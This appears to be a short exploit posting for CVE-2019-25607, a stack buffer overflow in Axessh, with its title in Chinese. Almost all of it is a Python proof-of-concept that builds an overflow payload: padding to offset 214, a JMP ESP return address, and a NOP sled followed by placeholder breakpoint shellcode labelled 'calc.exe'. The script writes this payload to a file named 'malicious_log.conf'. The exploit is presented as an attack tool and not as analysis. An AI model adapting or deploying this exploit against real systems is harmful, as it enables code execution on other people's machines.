CVE-2019-25607 Axessh栈缓冲区溢出漏洞

import sys import struct # Vulnerable Offset to overwrite EIP offset = 214 # Example JMP ESP address (Needs adjustment for specific binary version) ret_addr = struct.pack('<L', 0x77F8A123) # Simple calc.exe shellcode (Example) shellcode = b"\x90" * 32 + b"\xCC" * 50 # Construct payload payload = b"A" * offset payload += ret_addr payload += shellcode payload += b"C" * (1000 - len(payload)) try: with open("malicious_log.conf", "wb") as f: f.write(payload) print("[+] Malicious file generated.") except Exception as e: print(f"[-] Error: {e}")